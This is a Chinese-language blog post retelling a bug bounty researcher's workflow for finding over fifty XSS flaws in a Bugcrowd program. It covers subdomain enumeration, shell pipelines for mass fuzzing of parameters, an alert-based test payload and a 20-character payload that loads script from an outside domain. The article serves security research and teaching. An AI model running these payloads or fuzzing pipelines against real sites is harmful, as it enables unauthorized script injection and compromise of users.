声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
背景介绍:
今天的分享来自一位名为Takshal(tojojo)的白帽子,他是一名来自印度的网络安全研究员和开发人员。他在信息安全行业有着3年以上的经验,同时也有自己的YouTube频道,这也是他的第一篇文章,废话不多说,让我们看看这位小哥如何在公共项目中找到50个以上的XSS(跨站点脚本攻击)漏洞。
出于安全原因,目标站点统一称之为abc.com。
选定目标后,无非就是目标侦查和收集工作了,在此过程中小哥使用到工具有:
-
AssetFinder
-
SubFinder
-
Amass
-
Find-domain
-
Google Dorking
(注意:以上这些工具通常用于发现目标子域)
运行工具后,小哥收集到了576个子域信息,下一个过程是找到活跃的子域数量,对于这个过程,很多白帽子使用HTTPX,速度也会快一些,但白帽小哥更喜欢使用HTTProbe,这是由安全研究员Tomonomnom制作的工具,因为白帽小哥也是Tomnonom的铁粉,
这两个工具都有自己的算法来识别子域中的开放端口,具体命令如下:
$ cat subdomains.txt | httprobe | tee -a host.txt
在探测过程后,成功找到了260个活跃主机,同时白帽小哥利用Google-Dorking技术找到一些目标子域的登录页面,于是,小哥决定这些登录功能,其中一个子域:xyz.abc.com,在完成注册过程后,小哥开始查看所有可用功能,在检查了所有内容之后,他在URL中找到了一个易受攻击的页面,在那里能够执行html注入,但却只能注入20个字符,最终白帽小哥花了大约两天的时间将html注入转换为XSS Payload:
<script/src=//NJ.₨></script>
于是,小哥很愉快的向Bugcrowd提交了漏洞报告,但是厂商却在没有通知他的情况下默默地修复了漏洞,并将漏洞报告标记为 N/A(不适用)。
骨哥画外音:原来老外也有这种骚操作~
经历了这件事之后,白帽小哥非常沮丧和失望,甚至产生了负面情绪,他甚至开始怀疑他的技能以及个人职业生涯,但最终小哥决定相信自己和这3 年来的工作经验,所以他带着自己开发的工具重回到该目标,这次他使用了自己开发的自定义爬虫脚本工具,并在 waybackurl 脚本的帮助下,提取到了超过 5000,000个 abc.com 的所有子域中的站点信息,使用的命令是:
cat host.txt | crawler | tee -a endpoint.txt
cat host.txt | waybackurl | tee -a endpoint.txt
在找到500万个站点后,白帽小哥开始利用的qsreplace工具来Fuzz所有参数,以帮助其找到xss漏洞,命令如下:
cat endpoint.txt | qsreplace ‘“><img src=x onerror=alert(1)> | tee -a xss_fuzz.txt
执行命令后,小哥必须检查这些Payload的响应,于是他创建了一个名为Freq的工具,该工具可以在小哥的GitHub库中找到,具体执行此命令为:
cat xss_fuzz.txt | freq | tee -a possible_xss.txt
在这之后,白帽小哥成功找到了1000个站点,这些站点以明文形式响应了Payload,因此,小哥不得不手动检查所有受影响的站点,白帽小哥总共报告了大约56个XSS漏洞,目前所有漏洞都已被平台接受,还有一些其它的XSS漏洞报告尚待处理中。
小哥的Github库:https://github.com/takshal/freq
====正文结束====
原文始发于微信公众号(骨哥说事):如何在Bugcrowd公共项目中找到50多个XSS漏洞